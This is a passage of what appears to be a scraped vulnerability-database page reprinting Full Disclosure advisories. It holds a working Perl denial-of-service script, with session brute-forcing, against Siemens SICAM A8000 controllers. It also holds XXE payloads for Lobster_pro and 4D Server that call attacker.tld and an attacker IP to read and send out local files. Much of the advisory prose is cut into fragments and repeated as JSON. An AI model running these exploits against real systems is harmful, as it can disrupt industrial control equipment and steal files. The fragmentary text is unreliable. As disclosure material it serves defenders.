libraries, this results in a large\nattack surface.\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-02-24: Contacting Siemens ProductCERT\n2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a\n valid behavior for resource conservation.\n2026-03-09: Asking for name and organization for acknowledgement. In addition,\n gave an estimation regarding the update timeline.\n2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443.\n2026-04-08: Coordinated release of security advisory.\n\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Dietz / @2025\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0255
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
CyberDanube Security Research 20260408-0 | Remote Operation Denial of Service in Siemens SICAM A8000
Summary
CyberDanube Security Research 20260408-0
-------------------------------------------------------------------------------
title| Remote Operation Denial of Service
product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012
vulnerable version| <=V25.30
fixed version| V26.10
CVE number| CVE-2026-27663
impact| Medium
homepage| https://siemens.com/
found| 28.11.2025
by| T. Weber, S. Dietz, D. Blagojevic, F. Koroknai
| (Office Vienna)
| CyberDanube Security Research
| Vienna | St. Pölten
|
| https://www.cyberdanube.com
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"Our purpose: We create technology to transform the everyday, for everyone.
By combining the real and the digital worlds, we can help accelerate both
digitalization and sustainability - so our customers around the world can
become more competitive, resilient and sustainable."
Source: https://www.siemens.com/global/en/company/about.html
Vulnerable versions
-------------------------------------------------------------------------------
Siemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / <=V25.30
Siemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / <=V25.30
Siemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / <=V25.31
Siemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / <=V25.31
See also the vendor advisory:
https://cert-portal.siemens.com/productcert/html/ssa-246443.html
Vulnerability overview
-------------------------------------------------------------------------------
1) Remote Operation Denial of Service (CVE-2026-27663)
The remote operation mode is vulnerable to an uncontrolled resource exhaustion.
By sending frequent requests, the service can be interrupted and the affected
PLC can no longer be parameterized. This vulnerabilitiy can be triggered with
less than 100 requests and stalls the service as log as it is restarted via the
web interface or if the device is rebooted.
Proof of Concept
-------------------------------------------------------------------------------
1) Remote Operation Denial of Service (CVE-2026-27663)
The following script can be used to force the CPCI85 process into a denial of
service state:
-----------------------------------------------------
#!/usr/bin/perl
#Author: T. Weber
#SICAM Remote Operation DoS <=V25.30
use strict;
use warnings;
use LWP::UserAgent;
use Parallel::ForkManager;
$ENV{'PERL_LWP_SSL_VERIFY_HOSTNAME'} = 0;
print "Enter target IP address: ";
chomp(my $ip = <STDIN>);
print "Enter target port: ";
chomp(my $port = <STDIN>);
print "Enter Y/N for HTTPS: ";
chomp(my $tls = <STDIN>);
if ($tls eq "Y") {
$tls = "https";
} elsif ($tls eq "N") {
$tls = "http";
} else {
die "Invalid input for HTTPS (must be Y or N)\n";
}
my $server_endpoint = "$tls://$ip:$port/SICAM_TOOLBOX_1703_remote_connection_01.htm";
print "Testing $server_endpoint\n";
# user agent
my $ua = LWP::UserAgent->new(
ssl_opts => { SSL_verify_mode => 0 },
keep_alive => 1,
agent => "SICAM TOOLBOX II"
);
# brute force session
my @hex = (0..9, 'A'..'F');
my $found_session;
for my $d1 (@hex) {
for my $d2 (@hex) {
for my $d3 (@hex) {
for my $d4 (@hex) {
my $session_id = "008cfd320836$d1$d2$d3$d4";
my $req = HTTP::Request->new(POST => $server_endpoint);
$req->header('content-type' => 'text/plain');
$req->header('Session-ID' => $session_id);
$req->header('UPLOADFILENAME' => 'abc.f20');
$req->content('type=20&length=1&data=A');
my $resp = $ua->request($req);
if ($resp->is_success) {
print "[$session_id] OK: ", $resp->decoded_content, "\n";
if ($resp->decoded_content ne ""){
print "found session\n";
$found_session = $session_id;
last;
}
} else {
print "[$session_id] ERROR: ", $resp->status_line, "\n";
}
}
if ($found_session ne ""){
last;
}
}
if ($found_session ne ""){
last;
}
}
if ($found_session ne ""){
last;
}
}
#denial of remote operation
my $max_procs = 10;
my $pm = Parallel::ForkManager->new($max_procs);
my @alpha = (0..9);
for my $d1 (@alpha) {
for my $d2 (@alpha) {
$pm->start and next;
my $len = "$d1$d2";
my $req = HTTP::Request->new(POST => $server_endpoint);
$req->header('content-type' => 'text/plain');
$req->header('Session-ID' => $found_session);
$req->header('UPLOADFILENAME' => 'abc.f20');
$req->content('type=20&length='.$len.'&data=A');
my $resp = $ua->request($req);
if ($resp->is_success) {
print "DoS Running: ".$d1.$d2."\n";
} else {
print "ERROR: ", $resp->status_line, "\n";
}
$pm->finish;
}
}
$pm->wait_all_children;
-----------------------------------------------------
The service is still running but stalled and cannot be used anymore to set
parameters via Toolbox II.
Solution
-------------------------------------------------------------------------------
Install the latest version available.
Workaround
-------------------------------------------------------------------------------
Activate the web-interface to restart the service if needed. Deactivate remote
operation if not used. Restrict network access to the device in the
infrastructure.
Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends to perform a white-box security assessment of the SICAM
A8000 master module devices.
Contact Timeline
-------------------------------------------------------------------------------
2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues.
2026-01-13: Siemens ProductCERT confirms to work on a fix.
2026-01-16: Siemens ProductCERT asks for more information regarding the
exploitation. Provided more information.
2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary
timeline.
2026-03-26: Siemens informs that patch has been released. Providing more time
for customer to patch. Siemens published Advisory
2026-04-08: Coordinated release of security advisory.
Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com
EOF T. Weber / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | CyberDanube Security Research |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0255 (this record)
- related CVE-2026-27663
{
"containers": {
"cna": {
"affected": [
{
"product": "CyberDanube Security Research",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Thomas Weber | CyberDanube via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "CyberDanube Security Research 20260408-0\n-------------------------------------------------------------------------------\n title| Remote Operation Denial of Service\n product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n vulnerable version| \u003c=V25.30\n fixed version| V26.10\n CVE number| CVE-2026-27663\n impact| Medium\n homepage| https://siemens.com/\n found| 28.11.2025\n by| T. Weber, S. Dietz, D. Blagojevic, F. Koroknai\n | (Office Vienna)\n | CyberDanube Security Research\n | Vienna | St. P\u00f6lten\n |\n | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Remote Operation Denial of Service (CVE-2026-27663)\nThe remote operation mode is vulnerable to an uncontrolled resource exhaustion.\nBy sending frequent requests, the service can be interrupted and the affected\nPLC can no longer be parameterized. This vulnerabilitiy can be triggered with\nless than 100 requests and stalls the service as log as it is restarted via the\nweb interface or if the device is rebooted.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Remote Operation Denial of Service (CVE-2026-27663)\nThe following script can be used to force the CPCI85 process into a denial of\nservice state:\n-----------------------------------------------------\n#!/usr/bin/perl\n#Author: T. Weber\n#SICAM Remote Operation DoS \u003c=V25.30\nuse strict;\nuse warnings;\nuse LWP::UserAgent;\nuse Parallel::ForkManager;\n\n$ENV{\u0027PERL_LWP_SSL_VERIFY_HOSTNAME\u0027} = 0;\nprint \"Enter target IP address: \";\nchomp(my $ip = \u003cSTDIN\u003e);\n\nprint \"Enter target port: \";\nchomp(my $port = \u003cSTDIN\u003e);\n\nprint \"Enter Y/N for HTTPS: \";\nchomp(my $tls = \u003cSTDIN\u003e);\n\nif ($tls eq \"Y\") {\n $tls = \"https\";\n} elsif ($tls eq \"N\") {\n $tls = \"http\";\n} else {\n die \"Invalid input for HTTPS (must be Y or N)\\n\";\n}\n\nmy $server_endpoint = \"$tls://$ip:$port/SICAM_TOOLBOX_1703_remote_connection_01.htm\";\nprint \"Testing $server_endpoint\\n\";\n# user agent\nmy $ua = LWP::UserAgent-\u003enew(\n ssl_opts =\u003e { SSL_verify_mode =\u003e 0 },\n keep_alive =\u003e 1,\n agent =\u003e \"SICAM TOOLBOX II\"\n);\n\n# brute force session\nmy @hex = (0..9, \u0027A\u0027..\u0027F\u0027);\nmy $found_session;\nfor my $d1 (@hex) {\n for my $d2 (@hex) {\n for my $d3 (@hex) {\n for my $d4 (@hex) {\n my $session_id = \"008cfd320836$d1$d2$d3$d4\";\n my $req = HTTP::Request-\u003enew(POST =\u003e $server_endpoint);\n $req-\u003eheader(\u0027content-type\u0027 =\u003e \u0027text/plain\u0027);\n $req-\u003eheader(\u0027Session-ID\u0027 =\u003e $session_id);\n $req-\u003eheader(\u0027UPLOADFILENAME\u0027 =\u003e \u0027abc.f20\u0027);\n $req-\u003econtent(\u0027type=20\u0026length=1\u0026data=A\u0027);\n\n my $resp = $ua-\u003erequest($req);\n\n if ($resp-\u003eis_success) {\n print \"[$session_id] OK: \", $resp-\u003edecoded_content, \"\\n\";\n if ($resp-\u003edecoded_content ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002print \"found session\\n\";\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002$found_session = $session_id;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n } else {\n print \"[$session_id] ERROR: \", $resp-\u003estatus_line, \"\\n\";\n }\n }\n if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n }\n if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n }\n if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002}\n}\n\n#denial of remote operation\nmy $max_procs = 10;\nmy $pm = Parallel::ForkManager-\u003enew($max_procs);\n\nmy @alpha = (0..9);\nfor my $d1 (@alpha) {\n for my $d2 (@alpha) {\n $pm-\u003estart and next;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002my $len = \"$d1$d2\";\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\n my $req = HTTP::Request-\u003enew(POST =\u003e $server_endpoint);\n $req-\u003eheader(\u0027content-type\u0027 =\u003e \u0027text/plain\u0027);\n $req-\u003eheader(\u0027Session-ID\u0027 =\u003e $found_session);\n $req-\u003eheader(\u0027UPLOADFILENAME\u0027 =\u003e \u0027abc.f20\u0027);\n $req-\u003econtent(\u0027type=20\u0026length=\u0027.$len.\u0027\u0026data=A\u0027);\n my $resp = $ua-\u003erequest($req);\n\n if ($resp-\u003eis_success) {\n print \"DoS Running: \".$d1.$d2.\"\\n\";\n } else {\n print \"ERROR: \", $resp-\u003estatus_line, \"\\n\";\n }\n $pm-\u003efinish;\n }\n}\n$pm-\u003ewait_all_children;\n-----------------------------------------------------\nThe service is still running but stalled and cannot be used anymore to set\nparameters via Toolbox II.\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nActivate the web-interface to restart the service if needed. Deactivate remote\noperation if not used. Restrict network access to the device in the\ninfrastructure.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues.\n2026-01-13: Siemens ProductCERT confirms to work on a fix.\n2026-01-16: Siemens ProductCERT asks for more information regarding the\n exploitation. Provided more information.\n2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary\n timeline.\n2026-03-26: Siemens informs that patch has been released. Providing more time\n for customer to patch. Siemens published Advisory\n2026-04-08: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0250
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SCHUTZWERK-SA-2024-005: Arbitrary File Read and Server Side Request Forgery via XML External Entities in Lobster_pro (CVE-2024-13971)
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Lobster_pro
============================================================================================
arbitrary services.
Metadata
========
- - Affected product: Lobster_pro
- - Affected version: versions prior to 4.12.6-GA
- - Vendor: Lobster DATA GmbH
- - CVE ID: CVE-2024-13971
- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-13971
- - CVSS 4.0 score: 7.7
- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/
Details
=======
part of the customer's internet-facing assets.
application:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lbsterq [
<!ENTITY % lobster SYSTEM "http://attacker.tld/map.dtd";>
%lobster;
]>
<properties>lobster</properties>
listings or HTTP responses via the error message returned by the endpoint:
<!ENTITY % cfga SYSTEM "file:///c:">
<!ENTITY % eea "<!ENTITY % lobsterdata SYSTEM '#%cfga;'>">
%eea;
%lobsterdata;
listing:
<?xml version="1.0" encoding="UTF-8"?>
<core:ErrorResponse xmlns:core="CORESYSTEM">
<errorInfo>
<errorCode>500</errorCode>
<httpResponseStatus>200</httpResponseStatus>
<locale>en</locale>
<errorText>javax.xml.bind.UnmarshalException
- with linked exception:
Exception Description: An error occurred unmarshalling the document
Message: no protocol: #$Recycle.Bin
Config.Msi
[...]
pagefile.sys
PerfLogs
ProgramData
Program Files
Program Files (x86)
Programme
[...]
temp
Users
Windows
]</errorText>
<errorType>java.io.IOException</errorType>
<errorLevel>1</errorLevel>
</errorInfo>
</core:ErrorResponse>
recursive entity declarations, thus preventing data exfiltration.
Risk
====
hash.
Solution/Mitigation
===================
Update to Lobster_pro release 4.12.6-GA or higher.
Timeline
========
- - 2024-08-12 Initial contact with vendor
- - 2024-08-14 Vulnerability reported to vendor
- - 2024-08-14 CVE ID requested
- - 2024-08-22 Initial feedback received from vendor: unable to reproduce
- - 2024-08-28 Vulnerability demonstrated in vendor's "Community server"
- - 2025-07-03 Reserved CVE ID CVE-2024-13971
- - 2026-04-30 Advisory released
Credits
=======
The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.
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--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX
Phone +49 731 977 191 0
advisories () schutzwerk com / www.schutzwerk.com
Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer
Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SCHUTZWERK-SA-2024-005 Arbitrary File |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0250 (this record)
- related CVE-2024-13971
{
"containers": {
"cna": {
"affected": [
{
"product": "SCHUTZWERK-SA-2024-005 Arbitrary File",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "David Brown via Fulldisclosure"
}
],
"descriptions": [
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"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nLobster_pro\n============================================================================================\n\n\narbitrary services.\n\nMetadata\n========\n\n- - Affected product: Lobster_pro\n- - Affected version: versions prior to 4.12.6-GA\n- - Vendor: Lobster DATA GmbH\n\n- - CVE ID: CVE-2024-13971\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-13971\n- - CVSS 4.0 score: 7.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/\n\nDetails\n=======\n\n\npart of the customer\u0027s internet-facing assets.\n\n\napplication:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE lbsterq [\n \u003c!ENTITY % lobster SYSTEM \"http://attacker.tld/map.dtd\";\u003e\n%lobster;\n]\u003e\n\u003cproperties\u003elobster\u003c/properties\u003e\n\n\nlistings or HTTP responses via the error message returned by the endpoint:\n\n\u003c!ENTITY % cfga SYSTEM \"file:///c:\"\u003e\n\u003c!ENTITY % eea \"\u003c!ENTITY \u0026#x25; lobsterdata SYSTEM \u0027#%cfga;\u0027\u003e\"\u003e\n%eea;\n%lobsterdata;\n\n\nlisting:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003ccore:ErrorResponse xmlns:core=\"CORESYSTEM\"\u003e\n \u003cerrorInfo\u003e\n \u003cerrorCode\u003e500\u003c/errorCode\u003e\n \u003chttpResponseStatus\u003e200\u003c/httpResponseStatus\u003e\n \u003clocale\u003een\u003c/locale\u003e\n \u003cerrorText\u003ejavax.xml.bind.UnmarshalException\n - with linked exception:\n\nException Description: An error occurred unmarshalling the document\u0026#xd;\n\nMessage: no protocol: #$Recycle.Bin\nConfig.Msi\n[...]\npagefile.sys\nPerfLogs\nProgramData\nProgram Files\nProgram Files (x86)\nProgramme\n[...]\ntemp\nUsers\nWindows\n]\u003c/errorText\u003e\n \u003cerrorType\u003ejava.io.IOException\u003c/errorType\u003e\n \u003cerrorLevel\u003e1\u003c/errorLevel\u003e\n \u003c/errorInfo\u003e\n\u003c/core:ErrorResponse\u003e\n\n\nrecursive entity declarations, thus preventing data exfiltration.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to Lobster_pro release 4.12.6-GA or higher.\n\nTimeline\n========\n\n- - 2024-08-12 Initial contact with vendor\n- - 2024-08-14 Vulnerability reported to vendor\n- - 2024-08-14 CVE ID requested\n- - 2024-08-22 Initial feedback received from vendor: unable to reproduce\n- - 2024-08-28 Vulnerability demonstrated in vendor\u0027s \"Community server\"\n\n- - 2025-07-03 Reserved CVE ID CVE-2024-13971\n- - 2026-04-30 Advisory released\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnzRmsaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsvxRAAkVaWMk/lJwfZi0Y0OWpr\n5TQP/YCieTkxpkdiY0PF8dGApB3cp8ysschRAUgWIbeR7f1cj/4hbc3a1GxnZWV7\n2gk1fdQieSdkJs8uBsKz0CeEasMztCI6KcmxWL+CMFHJoH+Q5Gd7MdOh1Og/zVgh\n/UAAfzxihL0Gmx+gl6hpZVYSmqQctD4ogbmdQCU2mEuoHZRGLCzaiOtS8AZbOhvT\n3IvC3ws3cQIAwzD7YH+5V+97cXqbFVnRoNL4YgJ9/pCHXinYZvL1JGL4Ob26/GvD\nQfYqUOgpDsfr9GTZVSZT3S8pUVomMW9+FOjhpcOkRICkJ8cEdLhW5CIoaxweEcwE\nPQSSC5QS5DIfVKgGo4lc0Oe9k3pT/dnH9iEfnV5hnq7+JgapQzqxNaf6BCZJX+ET\nvoIVVjyOYyP2Qzs4LSaArWxlcb0XR/DewW9qlvfnea4SfDkrG/hhRK3qBNrC83IR\nIXmBTbp32Sfoh2X1W/frL4BtvIXkDirgF+sttAjoQKN3wVttuKj1JaM/BQ/pDf/N\npPAwaYzuuuf2Wv3NiBKIgB5tHuHKAQoKQPev7Z6pvDq0sB5ps9SRknIOEmfh/aoE\n7aNztVHs+/6axCVKcuV7+qWv6HUwg4oDp78Lo9r8Oq/9rdbZ3TKtf/KWn4uT+sWw\nZk6o928sfQFlkXtTXRiGSwE=\n=560Z\n-----END PGP SIGNATURE-----\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm / HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0249
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SCHUTZWERK-SA-2024-002: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847)
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
SOAP
===============================================================================================
services.
Metadata
========
- - Affected product: 4D Server
- - Affected version: v20 R3
- - Vendor: 4D
- - CVE ID: CVE-2024-39847
- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-39847
- - CVSS 4.0 score: 8.7
- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/
Details
=======
4D Server.
<!DOCTYPE foo [
<!ENTITY % test SYSTEM "http://attacker.tld";>
%test;
]>
"Reject SOAP-Requests" is set in the 4D Server GUI.
controlled server, and can be demonstrated using the following payloads:
Stage 1: XML body sent to the /4DSOAP endpoint
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % stage1 SYSTEM "http://192.168.56.1:2121/stage.dtd";>
%stage1;
]>
Stage 2: DTD file returned by http://192.168.56.1:2121/stage.dtd
<!ENTITY % fileb SYSTEM "file:///c:\Users\john.doe\Desktop\secret.txt">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM '%fileb;'>">
%eval;
%exfiltrate;
Server response for the request sent to the /4DSOAP endpoint:
<?xml version="1.0" encoding="UTF-8" ?>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Client</faultcode>
</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Requests sent to the attacker controlled server (192.168.56.1:2121):
192.168.56.114 - - "GET /stage.dtd HTTP/1.1" 200 -
<?xml version="1.0" encoding="UTF-8" ?>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Client</faultcode>
- - http:/secret.tld/bar'
</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
specific SOAP functions accepting data tags.
port 1337. Once started, files can be requested by issuing a GET request to
http://127.0.0.1:1337/<target URI>
$ curl '127.0.0.1:1337/http://192.168.56.114'
<?xml version="1.0" encoding="UTF-8" ?>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Client</faultcode>
<html>
[...]
<td class="grayborder">
<h2 align="center">Welcome to your 4D Web Server default home
page!</h2>
<p align="center">This is the <strong><b>4D Web Server</b></strong>
Application.</p>
home page.</p>
<p align="center">Instructions for configuring your 4D Web
Server can be found in the included documentation.</p>
All rights reserved.</p>
</td>
[...]
</html>
'
</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
perform "proxied" HTTP requests.
Risk
====
hash.
Solution/Mitigation
===================
Update to 4D Server 20 R7 or higher.
Timeline
========
- - 2024-06-17 Vulnerability discovered
- - 2024-06-24 Attempt to contact vendor, no response received
- - 2024-06-25 CVE ID requested
- - 2024-06-29 CVE-2024-39847 assigned
- - 2024-07-04 Attempt to contact vendor again, no response received
- - 2024-07-09 Attempt to contact vendor again, no response received
- - 2024-07-16 Attempt to contact vendor again, no response received
- - 2024-07-22 Attempt to contact vendor again, no response received
- - 2026-04-29 Advisory published
Credits
=======
The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.
Footnotes
=========
[0] https://4d.com
[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py
[2] https://flask.palletsprojects.com/en/stable/
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--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX
Phone +49 731 977 191 0
advisories () schutzwerk com / www.schutzwerk.com
Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer
Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SCHUTZWERK-SA-2024-002 Arbitrary File |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0249 (this record)
- related CVE-2024-39847
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"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nSOAP\n===============================================================================================\n\n\nservices.\n\nMetadata\n========\n\n- - Affected product: 4D Server\n- - Affected version: v20 R3\n- - Vendor: 4D\n\n- - CVE ID: CVE-2024-39847\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-39847\n- - CVSS 4.0 score: 8.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/\n\nDetails\n=======\n\n\n4D Server.\n\n\n\n\u003c!DOCTYPE foo [\n \u003c!ENTITY % test SYSTEM \"http://attacker.tld\";\u003e\n %test;\n]\u003e\n\n\n\"Reject SOAP-Requests\" is set in the 4D Server GUI.\n\n\ncontrolled server, and can be demonstrated using the following payloads:\n\nStage 1: XML body sent to the /4DSOAP endpoint\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE foo [\n \u003c!ENTITY % stage1 SYSTEM \"http://192.168.56.1:2121/stage.dtd\";\u003e\n %stage1;\n]\u003e\n\nStage 2: DTD file returned by 